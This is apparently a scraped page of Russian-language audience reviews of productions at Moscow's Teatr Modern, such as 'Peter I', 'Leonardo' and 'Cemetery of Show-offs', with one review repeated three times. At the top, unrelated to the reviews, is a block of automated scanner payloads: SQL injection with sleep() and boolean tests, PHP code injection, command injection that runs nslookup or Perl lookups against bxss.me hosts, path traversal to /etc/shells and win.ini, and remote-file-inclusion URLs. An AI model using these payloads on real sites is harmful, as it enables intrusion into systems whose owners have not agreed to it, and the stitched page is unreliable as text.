0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

if(now()=sysdate(),sleep(15),0)

-1" OR 3+664-664-1=0+0+0+1 --

-1" OR 2+664-664-1=0+0+0+1 --

-1' OR 3+941-941-1=0+0+0+1 or '3MSzLaw5'='

-1' OR 2+941-941-1=0+0+0+1 or '3MSzLaw5'='

-1' OR 3+390-390-1=0+0+0+1 --

-1' OR 2+390-390-1=0+0+0+1 --

-1 OR 3+960-960-1=0+0+0+1

-1 OR 2+960-960-1=0+0+0+1

-1 OR 3+954-954-1=0+0+0+1 --

-1 OR 2+954-954-1=0+0+0+1 --

1

1

'.print(md5(31337)).'

${@print(md5(31337))}\

${@print(md5(31337))}

";print(md5(31337));$a="

';print(md5(31337));$a='

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

;(nslookup hitrtemllfscw9693b.bxss.me||perl -e "gethostbyname('hitrtemllfscw9693b.bxss.me')")|(nslookup hitrtemllfscw9693b.bxss.me||perl -e "gethostbyname('hitrtemllfscw9693b.bxss.me')")&(nslookup hitrtemllfscw9693b.bxss.me||perl -e "gethostbyname('hitrtemllfscw9693b.bxss.me')")

'+'A'.concat(70-3).concat(22*4).concat(116).concat(77).concat(110).concat(81)+(require'socket'
Socket.gethostbyname('hitkm'+'lekannbn58040.bxss.me.')[3].to_s)+'

`(nslookup hitgecqbtqmmkac34e.bxss.me||perl -e "gethostbyname('hitgecqbtqmmkac34e.bxss.me')")`

"+"A".concat(70-3).concat(22*4).concat(97).concat(81).concat(121).concat(69)+(require"socket"
Socket.gethostbyname("hitel"+"oxqpxqvk3e09a.bxss.me.")[3].to_s)+"

|(nslookup hitdatqibxjewa68a3.bxss.me||perl -e "gethostbyname('hitdatqibxjewa68a3.bxss.me')")

&(nslookup hithlmnwykntz2ae86.bxss.me||perl -e "gethostbyname('hithlmnwykntz2ae86.bxss.me')")&'\"`0&(nslookup hithlmnwykntz2ae86.bxss.me||perl -e "gethostbyname('hithlmnwykntz2ae86.bxss.me')")&`'

&nslookup hitqaqnrfhzfyddbd2.bxss.me&'\"`0&nslookup hitqaqnrfhzfyddbd2.bxss.me&`'

bxss.me

$(nslookup hitmqnwitbsgv7b89f.bxss.me||perl -e "gethostbyname('hitmqnwitbsgv7b89f.bxss.me')")

c:/windows/win.ini

(nslookup hitdsjdgickwh91959.bxss.me||perl -e "gethostbyname('hitdsjdgickwh91959.bxss.me')")

|echo zfpqeb$()\ tgnqht\nz^xyu||a #' |echo zfpqeb$()\ tgnqht\nz^xyu||a #|" |echo zfpqeb$()\ tgnqht\nz^xyu||a #

/etc/shells

http://bxss.me/t/fit.txt%3F.jpg

&echo rglebn$()\ byjooz\nz^xyu||a #' &echo rglebn$()\ byjooz\nz^xyu||a #|" &echo rglebn$()\ byjooz\nz^xyu||a #

Http://bxss.me/t/fit.txt

echo onlehq$()\ qqyxso\nz^xyu||a #' &echo onlehq$()\ qqyxso\nz^xyu||a #|" &echo onlehq$()\ qqyxso\nz^xyu||a #

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

"+response.write(9830347*9886295)+"

'+response.write(9830347*9886295)+'

response.write(9830347*9886295)

".gethostbyname(lc("hitjt"."arxbegmv445b9.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(79).chr(108).chr(85)."

'.gethostbyname(lc('hitgm'.'bnyfjjbb66b6a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(72).chr(108).chr(87).'

1

1

1

1

1

1

"Иногда мне снится, что я по-прежнему часть ствола дуба. Во сне я иной раз чувствую бегущий сок. Это очень успокаивает, все равно, что для мясных людей слушать сердцебиение матери и ощущать протекающую по матке кровь"
(с) Дон Нигро "Пиноккио"

День смеха проводить нужно весело! Ну и конечно, вечером 1 апреля я пошла в уже родной театр "Модерн" на очень необычный спектакль под названием "Сказки для взрослых" по рассказам Дона Нигро. За последнее время я посмотрела уже несколько постановок по мотивам детских произведений и сделалась поклонницей подобного стиля, явно ставшего популярным. Смело, весело, оригинально, легко и неожиданно - привычный для поклонников Сергея Аронина коктейль. Кстати, в срежессированных им спектаклях он играет и сам, причем, играет очень здорово. Как говорится, талантливый человек талантлив во всем!

Читая сказки в детстве, мы не задумываемся, что происходит с их героями дальше, как продолжается их история, когда заканчивается книжка. А ведь это интересно, и особенно, если речь идет о необычных персонажах или обстоятельствах. Например, каким образом Человек-невидимка устроил свою личную жизнь с учетом своей абсолютной прозрачности? Как деревянный Пиноккио адаптировался к обществу людей, пережив множество ударов судьбы, и начал ходить на свидания? И могут ли животные и птицы гореть какой-то возвышенной мечтой, казалось бы, им не свойственной? Спектакль "Взрослые сказки" отвечает на некоторые из вопросов, позволяя зрителям заглянуть за кулисы красивых историй и вместе пофантазировать на тему дальнейшего продолжения событий в жизни любимых героев.

Особенно приятно приходить в театр, когда уже знаешь всех работников, и их улыбки согревают и поднимают настроение еще до спектакля; когда роскошные интерьеры радуют глаз, а удобные кресла в зале расслабляют спину; когда, несмотря на костюмы и грим, узнаешь каждого актера на сцене и вновь восхищаешься потрясающим перевоплощением и прекрасной игрой. Таким я вижу мой любимый театр "Модерн" под руководством Юрия Грымова, для меня это театр с душой и сердцем. А еще там в буфете вкусный кофе и невероятные сладости, какие мало где можно попробовать. Поэтому если вы еще ни разу не были в "Модерне", то вам очень повезло, ведь вам только предстоит это потрясающее знакомство!

Впервые посетила театр Модерн и осталась под глубоким впечатлением.
Фигура императора Петра Великого, как и эпоха его становления и правления, до сих пор будоражит умы людей во всем мире. Мне всегда были интересны исторические личности. А особенно меня всегда привлекала личность Петра I.
Конечно же, я отправилась в театр Модерн на спектакль Петр 1 (один) в постановке Юрия Грымова, режиссёра и художественного руководителя театра «Модерн».
Сразу же хочу поделиться впечатлением от театра Модерн. Приятная атмосфера, современные интерьеры, действительно первое впечатление, когда переступаешь порог театра - модерн. Модерн в оформлении фойе, афиш на стенах, подсветка, приятным глазу, синим цветом, зеркала – рай для девушек. В буфете, перед спектаклем, можно хорошо провести время за чашечкой кофе под приятную мелодию, которую исполняет пианист, и настроиться на предстоящий спектакль. В театре прекрасная атмосфера и он, буквально пропитан творчеством и тем прекрасным, что театр должен нести в жизнь зрителя. Публика - как же приятно наблюдать за людьми в красивой праздничной одежде - девушки и женщины в вечерних платьях, много мужчин в костюмах. Это Театр с большой буквы. Театр, в который приходишь с надеждой на истинное искусство.
Но давайте перейдем к самому главному, о чем я сегодня хочу вам рассказать – о своем впечатлении от грандиозного спектакля Петр I. Мне импонирует то, как говорит режиссер спектакля Юрий Грымов о том, что вложено в название спектакля - Петр один. Здесь я тоже соглашусь что, не смотря на то, что Петр был такой величественной личностью, он был один. Одинок в своих стремлениях, вокруг него было огромное количество предателей и, даже его собственный сын предал отца.
Спектакль Петр - очень стильная и масштабная постановка. Это первый спектакль масштабной трилогии «Антихрист и Христос». В основе сюжета — противоречивая фигура царя Петра Первого, чья личность вызывала у современников самые противоположные эмоции, от благоговения до животного страха. Антихрист или Христос, Свет или Тьма — кем же был российский правитель для своего народа, и что он оставил потомкам, в том числе и нам сегодняшним - добро или зло? Чем исторически оборачивается для России желание следовать "западным меркам", забывая о своей аутентичности?
Что примечательного – в работе над спектаклем использовались редкие архивные документы и свидетельства.
В дни показов спектакля "Петр Первый" в фойе театра установлена точная копия короны российской империи, доступная для фото! И да, корона восхитительна!
В спектакле очень красивые, уникальные костюмы, созданные художником Ирэной Белоусовой, среди них - шесть платьев, напечатанных на 3D-принтере! И это стоит увидеть! Больше всего меня поразил костюм Екатерины. Рекомендую приобретать билет поближе к сцене, чтобы вдоволь насладиться эстетикой костюмов, декораций и света. В спектакле присутствует ряд спецэффектов, все действия и появляющиеся элементы декораций несут в себе смысловую нагрузку и ни что не является лишним или бессмысленным в спектакле. Я под большим впечатлением от спектакля! Жадно впитывала каждую мизансцену, каждое действие.
Это абсолютно интересный спектакль для сегодняшнего дня.


Как восприняла я то, о чем хотел сказать зрителю режиссер-постановщик спектакля Петр I, Юрий Грымов, на мой взгляд, в данной постановке мы видим Петра властным, жестоким он все время находится на грани, царь вынужден принимать решения во благо будущего России. «Бей своих, чтобы чужие боялись» - звучит эта фраза в спектакле. И правда очень много жестокости было в Петре, но это вынужденная мера, император шел к глобальной цели – благосостояние и развитие России. Но все новое воспринимается всегда в негативном свете, только спустя время становится, понятно верным ли был тот, или иной поступок или решение. И очень часто такие решения приводят к роковым последствиям.
Актерский состав. Каждый актер вписался в свою роль в полной мере и все друг с другом на сцене взаимодействуют как единый часовой механизм.
Роль Петра исполняет Юрий Анпилогов – настоящий император, статный, мужественный. Очень запала в душу сцена с появлением Петра и музыкальное сопровождение его появления.
Безусловно, Петр показан триумфатором, прорубившим окно в Европу. Но та цена, которую он заплатил, не соизмерима со всеми новаторскими решениями и желанием блага будущего. Его предавали самые близкие люди. Сын, который с детства не знал любви отца, стал роковым предателем для Петра. Царевич в спектакле, жутко боится отца, желает его смерти, отказывается понимать его. Я восприняла его фигуру в спектакле как недолюбленного капризного подростка, желающего своим пьянством и разгульным образом жизни, разбавить свое одиночество и страх перед отцом. Весь народ видит Петра антихристом. Все новаторства царя воспринимаются в негативном свете. Плетут интриги за спиной, Петра окружает ложь и предательство. А со всеми предателями Петр поступает поучительно и прилюдно, чтобы другим неповадно было. На долю императора выпало много предательств и непонимания. Здесь я очень сопереживаю императору, так как он шел к глобальной цели – благо России.
Очень интересной для меня была сцена строительства нового города на Неве. Император строит новый город, вопреки всем, город мечты, который называет Петербургом.
Красота декораций и костюмов в спектакле достойна отдельно разбора на несколько страниц текста, но я оставлю интригу для того чтобы вы могли сами, придя на спектакль, насладиться этой красотой. Но все же отдельно отмечу то, что в спектакле присутствуют 6 платьев, напечатанных на 3D принтере. И они нереально красивы. Приходите посмотреть на это чудо нашей современности.


На мой взгляд, основная задача спектакля – побуждение зрителя задуматься над своими поступками, задуматься над тем, на что вынужден идти лидер и чем он платит за свои решения. Примерить на себя роль того самого Петра и понять как же, порою тяжело принимать глобальные решения. В спектакле показано много предателей и предательства и показана цена, которую предатель платит за свои поступки.

Визуально спектакль смотрится затаив дыхание - он красивый, стильный, сценическое пространство все время изменяется, при практическом отсутствии декораций, каждое мгновение на сцене что-то видоизменяется, то причудливая игра света, то гигантских размеров полотно целлофана, которое изображает роковые перемены. Музыкальное сопровождение спектакля не может оставить равнодушным никого. Я с восторгом наслаждалась музыкальной темой появления Петра. Это же сопровождение мы слышим и во время каких-то, глобального характера событий.
Так же мое внимание привлекли зеленые шары кустарники, которые несут в себе очень большую смысловую нагрузку, обратите внимание на это, когда будете смотреть спектакль. Там же есть и отсылка к Сизифову труду.
Этим спектаклем я открыла для себя гениального режиссера Юрия Грымова. Да, мне ранее не приходилось бывать на спектаклях в его постановке. И я рада, что именно сейчас я сделала это открытие для себя. Это гениальная работа!
С нетерпением жду посещения второй части трилогии, спектакль Леонардо, на который я отправляюсь уже совсем скоро.

Завершая свой отзыв, хотелось бы отметить, что спектакль Петр I актуален вне времен и в сегодняшнее время его актуальность важна как никогда.

Времена идут, меняются эпохи, а моральный уровень человечества остается тот же. Петр – грандиозный император, перевернувший жизнь России и мира на века вперед.

«Леонардо» в Театре Модерн.



Продолжение трилогии Юрия Грымова «Антихрист и Христос» - спектакль «Леонардо».

История о великом творце Леонардо да Винчи по роману Д. С. Мережковского.

Леонардо - художник, исследователь, учёный, экспериментатор, великий гений, по мнению которого его призвание было служение чистому искусству при абсолютной свободе от всех человеческих чувств. Он с одинаковым старанием и энтузиазмом писал «Тайную Вечерю» и придумывал бомбу с наибольшим радиусом поражения.

В спектакле раскрывается тонкая грань между добром и злом и встаёт вопрос, а кто же в итоге великий художник Леонардо, который сочетает в себе обе эти стороны, Антихрист или Христос?

В главной роли харизматичный и талантливый Дмитрий Бозин.



Спектакль непростой, в нём много символизма, глубокое погружение в историю, в творчество гения. Отдельные моменты спектакля – просто шедевры, чего только стоит фреска «Тайная вечеря»! А голуби в финале спектакля? Как ангел сошедший с небес спасти гения.

Вообще грандиозная игра со светом, звуком, замечательные костюмы, (особенно платья у дам).

Я под сильнейшим впечатлением от спектакля! Настолько все мастерски соединено -великолепная игра актеров, сценография, декорации, музыкальное сопровождение, световые эффекты и невероятные сценические фишки.

Это непременно надо увидеть!

Спектакль концептуально выдержан от начала до конца: полсотни персонажей, которые проходят перед взором, поголовно боятся любить.

Обесценивание — один из защитных механизмов психики, при котором мы снижаем (а то и вовсе отрицаем) значимость того, что на самом деле для нас очень важно. Обесценить можно людей, эмоции, достижения. Логика механизма такова: пусть я лишусь чего-то важного, пусть обижу, но сохраню себя от **********. И мы это делаем — идем на жертвы, лишь бы сохранить самооценку, лишь бы не испытать боль.

Фраза «хочу не могу» вложена в уста некой секретарши, которая понимает ее буквально. А вот у остальных это, скорее — хочу лишь тебя, а любить нет: и брака не желают. Есть еще вариант, что именно в сорок лет есть силы только на счастливую любовь. У мужчин за сорок иногда замечен сексуальный невроз...
Пьеса жизненная, но и грустная в своей жизненности — положительные герои отсутствуют.

Однако это присказка, рецензия впереди.

Я смотрел спектакль 8 марта. По случаю праздника его перенесли с малой на основную сцену. А аншлаг связан с тем, что пьеса драматурга-женщины по мотивам женских сплетен и от лица женских героинь порождает очень женский спектакль. Режиссера Сергея Аронина интересует женская психология.

Аронин играет в своей постановке пару эпизодических ролей, а также в силу своей разносторонности стал композитором двенадцати песен на стихи драматурга пьесы. А поскольку и стихи, и драма — от одного автора, то чувствуется общая их интонация.
Песни хорошие, многие с длинными незатертыми рифмами (когда ударение на третий слог с конца слова). Песни бардовские, хотя и — с аранжировкой для нескольких инструментов, включая кахон и мелодику. Для меня этого жирный плюс. Но сами песни и их появление в пьесе таково, чтобы никому даже в голову не пришло, что тут у нас мюзикл.

У спектакля есть рассказчица. Для кино и театра это редко бывает плюсом. Но тут рассказчица словесно описывает мизансцену и позволяет экономить на декорациях. Актеры не пользуются помощью рабочих сцены, а передвинув несколько стульев, быстро образуют новое пространство для очередного эпизода. Есть среди них и оригинальный, когда для диалога на переднем сиденье служебной машины перед шофером держат лобовое стекло и двигают «дворники».

Я никогда не боялся любить и потому не вживался в образы, а смотрел на всё как сторонний зритель. А жена рассматривала зрителей до и после спектакля и сообщила, что публика — такая же, как и на сцене. Готов ей поверить, так как ржали зрители столь дружно, будто они на лекциях Сатьи.

Единственный недостаток спектакля в том, что он не *************. Но на таком материале по другому и быть не могло.

Петр I в театре Модерн режиссер Юрий Грымов.
Недавно смотрела канал одного известного театрального блогера, и она сказала такую фразу: «Хороший спектакль, это спектакль с которого выходишь и покупаешь билет на следующий раз». Соглашусь с ней полностью и добавлю: «Еще ты хочешь привести с собой друга, чтобы разделить вкусные впечатления от пьесы, обсудить интересные моменты». Поэтому я пошла на спектакль «Петр I» второй раз и не одна, спасибо Лена за компанию.
Театр Модерн, как знают все, кто читает мои отзывы – это праздник для театрала, много локаций для красивых съемок, живая музыка, вкусная еда в кафе и вежливое обслуживание. А наличие библиотеки, в которой можно почитать в предвкушении сцены и детские фото на комоде – придают театру домашнюю атмосферу, куда хочется вернуться снова и снова. Поэтому я всегда подхожу к стойке с открытками спектаклей, чтобы выбрать пару карточек с описаниями, куда хочу пойти в ближайшее время. Последнее время актриса Анастасия Скибунова встречает гостей театра и рассказывает о лучших спектаклях театра, что помогает новичкам, спасибо ей за это.
Спектакль «Петр I» начинается с погружения в мрачные исторические времена, перед нами разворачивается картина той эпохи, когда правил царь и все что выпало ему как испытания: бунты, пожары и наводнения, невежество и бескультурье. Стиль Юрия Грымова, когда сценография строится вдумчиво, как кадр в фильме, мне нравится, но к этому надо привыкнуть. Эпично появляется на сцене образ первого русского императора и история начинает развиваться и затягивать зрителя в свою воронку.
Мне очень нравится, как изображен здесь Петр I, Юрий Анпилогов играет настоящего живого человека, которой борется со своими страстями, но использует слабости других людей, чтобы построить великое русское государство. Сына царя играет Владислав Свиридов и, если прошлый раз меня больше интересовали государственные баталии, в этот раз я была озабочена человеческим счастьем Петра, жаль было его как отца, как мужа, как человека. Потому что ему пришлось многим пожертвовать, чтобы мы, даже сейчас, гордились достижениями петровских времен. Некоторые диалоги с сыном – реально до слез, очень трогательно.
Интересно показаны взаимоотношения с заграничными послами, так актуально до сих пор, много иронии и понимания ситуации. Отличный карикатурный образ Кенигсека воплотил Сергей Аронин.
И любовная история Петра I сначала с Анной Монс (Маина Чижевская), потом с Катериной (Надежда Селиванова) – все очень интересно и исторически достоверно. Меньшиков, Александр Толмачев, получился тоже убедительный, очень похожий на персонажа, который нам описывают исторические хроники.
Мне нравится, что многие спектакли у Юрия Грымова стимулирует к тому, что хочется узнать больше, почитать об исторических личностях, провести свое расследование, чтобы понять суть. У меня, благодаря этому спектаклю, добавилась трилогия Д. С. Мережковского в библиотеке.
Так же интересен выбор музыки, она очень разноплановая и гармонизировала постановку: классика, японские самурайские вскрики и техно – все это позволяет по-настоящему окунуться в атмосферу, почувствовать то, о чем нам хочет сказать автор.
И, конечно, не могу не отметить гениальные костюмы от Ирэны Белоусовой – это просто титанический труд и красота в одном флаконе. Браво, Ирэна!
Рекомендую этот спектакль тем, кто интересуется историей русского народа, любит читать или просто хочет провести вечер в одном из лучших театров Москвы.

Петр I
И снова театр Модерн, и снова Юрий Грымов, и снова классика. Вернее, также как в Женитьбе, даже не одно классическое произведение, а два: романы А.Н.Толстого и Мережковского. Собственно, у Грымова задумка поставить трилогию: «Антихрист и Христос». И начал он с последней части: "Антихрист. Пётр и Алексей", то есть нас ждут еще "Леонардо" и "Юлиан Отступник". Конечно, тема Петра нам ближе всего.
Понятно, что как такое огромное произведение, так и супер насыщенную событиями жизнь Петра невозможно вместить в неполные 3 часа спектакля целиком. Поэтому на сцене мы видим самые яркие картины эпохи. Каюсь, что Толстого прочла очень давно, Мережковского не читала совсем - теперь уж точно это сделаю. Но поскольку историю Петра все-таки знаю, то все, что происходит на сцене, было понятно: и повешенные стрельцы, и бороды, и Анна Монс и т.д.
Удивляет сначала то, что Петра на сцене – два. Но один, в качестве практически памятника, а другой реальный Петр в исполнении Юрия Анпилогова – совершенно несчастный, мятущийся человек. Да ведь и название спектакля Грымов произносит, как «Петр один». И он, правда, один. Один во всех своих начинаниях, один в празднествах и горе, хоть на словах и поддерживаемый окружением, но в реальности каждый действует только в своих интересах.
И в любви один, когда Екатерина (которую играет блестяще похожая на нее Анастасия Морозюк) практически одновременно успокаивает Петра и тут же отдается другому.
И самое страшное – в семье: сын совершенно противоположен по натуре Петру, тихий, богобоязненный; молодой человек, но из старого времени. И вторая часть спектакля посвящена именно ему. Прекрасно сыграл Алексея Владислав Свиридов, только в 2021 г. окончивший театральный институт им. Б. Щукина.
И как обычно в спектаклях Грымова еще отдельные действующие лица – свет и музыка.
И, конечно, костюмы. Художник по костюмам Ирэна Белоусова создала для спектакля около 300 костюмов, и каждый – это произведение искусства. Особенно мне понравились дамские платья с цветами и скульптурными масками и рубища нищих, на спинах которых расположились целые монастыри и кособокие деревенские избы.
Итак, это еще одно событие в театральной жизни: яркое, как по зрелищности, так и по эмоциям.

Петр I
И снова театр Модерн, и снова Юрий Грымов, и снова классика. Вернее, также как в Женитьбе, даже не одно классическое произведение, а два: романы А.Н.Толстого и Мережковского. Собственно, у Грымова задумка поставить трилогию: «Антихрист и Христос». И начал он с последней части: "Антихрист. Пётр и Алексей", то есть нас ждут еще "Леонардо" и "Юлиан Отступник". Конечно, тема Петра нам ближе всего.
Понятно, что как такое огромное произведение, так и супер насыщенную событиями жизнь Петра невозможно вместить в неполные 3 часа спектакля целиком. Поэтому на сцене мы видим самые яркие картины эпохи. Каюсь, что Толстого прочла очень давно, Мережковского не читала совсем - теперь уж точно это сделаю. Но поскольку историю Петра все-таки знаю, то все, что происходит на сцене, было понятно: и повешенные стрельцы, и бороды, и Анна Монс и т.д.
Удивляет сначала то, что Петра на сцене – два. Но один, в качестве практически памятника, а другой реальный Петр в исполнении Юрия Анпилогова – совершенно несчастный, мятущийся человек. Да ведь и название спектакля Грымов произносит, как «Петр один». И он, правда, один. Один во всех своих начинаниях, один в празднествах и горе, хоть на словах и поддерживаемый окружением, но в реальности каждый действует только в своих интересах.
И в любви один, когда Екатерина (которую играет блестяще похожая на нее Анастасия Морозюк) практически одновременно успокаивает Петра и тут же отдается другому.
И самое страшное – в семье: сын совершенно противоположен по натуре Петру, тихий, богобоязненный; молодой человек, но из старого времени. И вторая часть спектакля посвящена именно ему. Прекрасно сыграл Алексея Владислав Свиридов, только в 2021 г. окончивший театральный институт им. Б. Щукина.
И как обычно в спектаклях Грымова еще отдельные действующие лица – свет и музыка.
И, конечно, костюмы. Художник по костюмам Ирэна Белоусова создала для спектакля около 300 костюмов, и каждый – это произведение искусства. Особенно мне понравились дамские платья с цветами и скульптурными масками и рубища нищих, на спинах которых расположились целые монастыри и кособокие деревенские избы.
Итак, это еще одно событие в театральной жизни: яркое, как по зрелищности, так и по эмоциям.

Петр I
И снова театр Модерн, и снова Юрий Грымов, и снова классика. Вернее, также как в Женитьбе, даже не одно классическое произведение, а два: романы А.Н.Толстого и Мережковского. Собственно, у Грымова задумка поставить трилогию: «Антихрист и Христос». И начал он с последней части: "Антихрист. Пётр и Алексей", то есть нас ждут еще "Леонардо" и "Юлиан Отступник". Конечно, тема Петра нам ближе всего.
Понятно, что как такое огромное произведение, так и супер насыщенную событиями жизнь Петра невозможно вместить в неполные 3 часа спектакля целиком. Поэтому на сцене мы видим самые яркие картины эпохи. Каюсь, что Толстого прочла очень давно, Мережковского не читала совсем - теперь уж точно это сделаю. Но поскольку историю Петра все-таки знаю, то все, что происходит на сцене, было понятно: и повешенные стрельцы, и бороды, и Анна Монс и т.д.
Удивляет сначала то, что Петра на сцене – два. Но один, в качестве практически памятника, а другой реальный Петр в исполнении Юрия Анпилогова – совершенно несчастный, мятущийся человек. Да ведь и название спектакля Грымов произносит, как «Петр один». И он, правда, один. Один во всех своих начинаниях, один в празднествах и горе, хоть на словах и поддерживаемый окружением, но в реальности каждый действует только в своих интересах.
И в любви один, когда Екатерина (которую играет блестяще похожая на нее Анастасия Морозюк) практически одновременно успокаивает Петра и тут же отдается другому.
И самое страшное – в семье: сын совершенно противоположен по натуре Петру, тихий, богобоязненный; молодой человек, но из старого времени. И вторая часть спектакля посвящена именно ему. Прекрасно сыграл Алексея Владислав Свиридов, только в 2021 г. окончивший театральный институт им. Б. Щукина.
И как обычно в спектаклях Грымова еще отдельные действующие лица – свет и музыка.
И, конечно, костюмы. Художник по костюмам Ирэна Белоусова создала для спектакля около 300 костюмов, и каждый – это произведение искусства. Особенно мне понравились дамские платья с цветами и скульптурными масками и рубища нищих, на спинах которых расположились целые монастыри и кособокие деревенские избы.
Итак, это еще одно событие в театральной жизни: яркое, как по зрелищности, так и по эмоциям.

Наконец-то я посмотрела долгожданную постановку «Кладбище Понтов» в своём любимом «Модерне»
Моё трепетное отношение к этому театру, его главному режиссёру и художественному вдохновителю Ю.В. Грымову началось с первой просмотренной постановки.
Именно в «Модерне» я могу почувствовать те неповторимые эмоции, тот стиль, который есть только там.
Без жесткача, порнухи, излишеств целостное вмешательство в мозг на 100%.
Поэтому я смело иду в «Модерн» на постановку, я как наркоман, знающий, что точно будет кайф, и я знаю, что это будет незабываемо с лоском, с особой вуалью от Грымова.
Сегодня без лишних спойлеров я хочу рассказать о взгляде на вещи, вошедших в нашу жизнь с обыденной стороны под новым углом.
Речь идёт о том, что главными героями постановки будут не люди, а машины,
Да, да, именно машины/авто с душой и своими страданиями.
Каждая со своей историей, каждая со своим бывшим владельцем, при этом поражающе жизненно прям по-человечески искренне.
Истории про верность и предательство, про будущее и вечное, некоторые затрагивающие самые тонкие струны души.
Во время спектакля мне хотелось сравнить эти элитные машины с животными, которых наигравшись, бросают безответственные хозяева.
Так близка мне эта история и так она берет за душу.
Однажды я прочла роман Стивена Кинга «Баллада о блуждающей пуле», где рассказывалось о том, что в печатной машинке жил человечек.
Эта история мне запомнилась, и для меня на самом деле она была правдива. Мне казалось это настолько естественно и константно, как 2*2:)
Я, как и тот писатель, что верит в существование какого-то эльфа в своей пишущей машинке, я снова поверила, что у машин есть душа, что они чувствуют нас, тоскуют по нам, я вспомнила, всё, что меня когда-то связывало с ними и вновь я поверила в сказку.
Я, как слепой котёнок, вновь оказалась в стране Оз, пусть ненадолго, пусть всего на час, но это стоило нескольких лет, это подтвердило мою мысль, что я не одинока и у всех вещей и предметов есть душа.
Ещё одним проникновением постановки в самую душу, в самое сердце стала финальная «песня о машинах» в исполнении Вячеслава Петкуна ( Танцы Минус)
Кто знаком с творчеством тот, поймёт.
Итог, что мы имеем:
1). Машину времени назад в прошлое
2). Утверждение- ты не один!
У каждого даже самого чёрствого человека, я думаю, эта постановка вызовет только положительный отклик.
Браво, браво!
Простите, я не написала про великолепные авторские костюмы и игру актёров, но думаю все и так всё знают и понимают, звёздный состав «Модерна» forever
ВЫКЛЮЧАЙТЕ ZOMBOЯЩИК - ИДИТЕ В ТЕАТР!!!

Спектакль поставлен по пьесе Елены Исаевой "Я боюсь любви". И в целом, название пьесы отражает суть спектакля. Спектакль о череде расставаний и влюбленностей, о страхе полюбить по-настоящему, всерьёз и о вечном поиске Того/Той Самой.

Я не очень люблю фильмы и спектакли, где единственная сюжетная линия - это отношения между мужчиной и женщиной. На мой взгляд, уже столько литературы написано на эту тему, что очередное произведение - это, по сути, переливание из пустого в порожнее.

Почти каждый, кто хотя бы немного интересуется темой межличностных отношений, понимает, что близкие отношения возможны только тогда, когда к ним готовы оба; что важнее искать счастье и любовь не в другом человеке, а в себе, выстроить внутреннюю опору и только после этого создавать отношения; что делать отношения - смыслом жизни, затея провальная, она рождает зацикленность на партнёре, его интересах, лишая тем самым понимания, а чего же хочу я, о чем мечтаю, чем интересуюсь, к чему стремлюсь.

Те же мысли я снова услышала со сцены. Вроде бы банально, ничего нового, но после просмотра осталось приятное послевкусие. Во-первых, спектакль музыкальный. Режиссёр Сергей Аронин, которого мне посчастливилось узнать по постановке "Улетающий Монахов" Театра МТЮЗ, сам написал музыку к спектаклю. Все актёры прекрасно поют, танцуют и делают это на высоком уровне. Во-вторых, игра актёров. Многие играют по 2-3 роли в спектакле и делают это превосходно. Например, Александра Богданова прекрасно сыграла легкомысленную секретаршу Наташу и неуклюжего подростка Аню. Марина Дианова - блистательную актрису и скромную художницу-иллюстратора. И такие перевоплощения происходят в спектакле повсеместно.

Если хотите провести вечер за просмотром лёгкого, интересного спектакля, то выбор очевиден.

Уже в который раз посетила этот прекрасный театр. В этот раз спектакль "Кладбище понтов". И как и всегда, вышла под огромным впечатлением! Ну как можно так переносить зрителя в места по своему выбору? Гипнозом они что ли пользуются))) В этот раз я побывала на свалке автомобилей. Ощущение было, что даже бензином запахло в зале.. И рык из под капотов, и свет фар, и тепло нагретых двигателей... Списанные машины говорили с нами о своей жизни, о судьбе, о преданности, о предательстве, о добре и зле, и о понтах, конечно... Такое современное явление - понты, в то же время актуальность этого явления вечна... И это не только про "у меня круче, чем у всех", это про культ потребления... потребления не только вещей, но и людей, и даже собственной жизни.... Злободневно, трогательно, серьезно и в тоже время с посягательством на сказку. Сказку для взрослых, из которой каждый сам сделает свои выводы.

Вырвались с коллегой из царства цифр и отчетов в царство сцены и аллегорий. Театр "Модерн", спектакль "Кладбище понтов". Скажу честно, я шла специально на Анну Каменкову, я влюблена в ее голос, которым звучат множество героинь наших и зарубежных фильмов (и "Жестокий романс";, и "Гардемарины", и Скарлетт из "Унесенных ветром", и Кейт из "Кейт и Лео" и еще огромное количество других).
Очень интересная идея - жизнь глазами отслуживших дорогих автомобилей. В принципе, это исповеди людей, а не машин. Кому мы нужны, если не имеем вес, как быстро нас забывают, как используют в своих целях и выбрасывают. И в противовес - история старой Тойоты (Анна Каменкова), хозяин которой ее любил и бережно относился.
Не буду рассказывать весь сюжет. О впечатлениях. Спектакль без антракта, идет чуть менее полутора часов. Первые минут 20-25 не ***********, вот честно. Мне персонажи людей показались слегка плоскими, впрочем, как и некоторые машины.
Но вот оригинальный ход с фонариками, когда гаснет свет и машины с горящими фарами как будто наезжают на тебя - это хорошо! С этого момента спектакль заиграл. Да, некоторые машины "исповедовались" кратко и как бы мимоходом, кто-то чуть больше и ярче. Персонаж Hyundai
вообще внес живую струю в этот хор плачущих снобов) Очень понравилась игра Александра Горелова. И у меня теперь есть реплика для говорунов: "Бедный, у тебя не выключали ради")
Вообще, спектакль о ценностях, о том, что важно в жизни, а что только "понты", но понимаешь это уже только в момент монолога Тойоты перед переплавкой.
Что бы сделала я? Наверное, убрала бы диалоги лошадиных сил, немного оживила часть людей и чуть больше углубила истории машин. Потому что схематичные наброски Бентли или Майбаха хотелось бы сделать чуть более объемными. Тут же такая свобода творчества, столько напридумывать можно. А то актерам и играть было нечего почти. Но это мой дилетантский взгляд.
Световое решение мне однозначно понравилось, все к месту и на месте. Музыка добавляла эффекта, немного резковато звучали сирены, зал же небольшой, но по смыслу они были на месте, поэтому все в плюс.
Моя любимая "Тойота" Анна Каменкова и здесь была самой живой и человечной из машин. Но с ее голосом и нельзя иначе, только любить!
И еще хочу вступиться за мир людей: я знаю огромное количество автолюбителей, кто одушевляет свои машины и относится к ним даже лучше, чем к себе) Но чаще это, конечно, не владельцы премиум-класса)
Спасибо Юрию Грымову и автору пьесы Рине Ю за оригинальный ход, постановку. Я люблю цельные спектакли без антрактов, там погружаешься и принимаешь сюжет без "рекламных пауз".

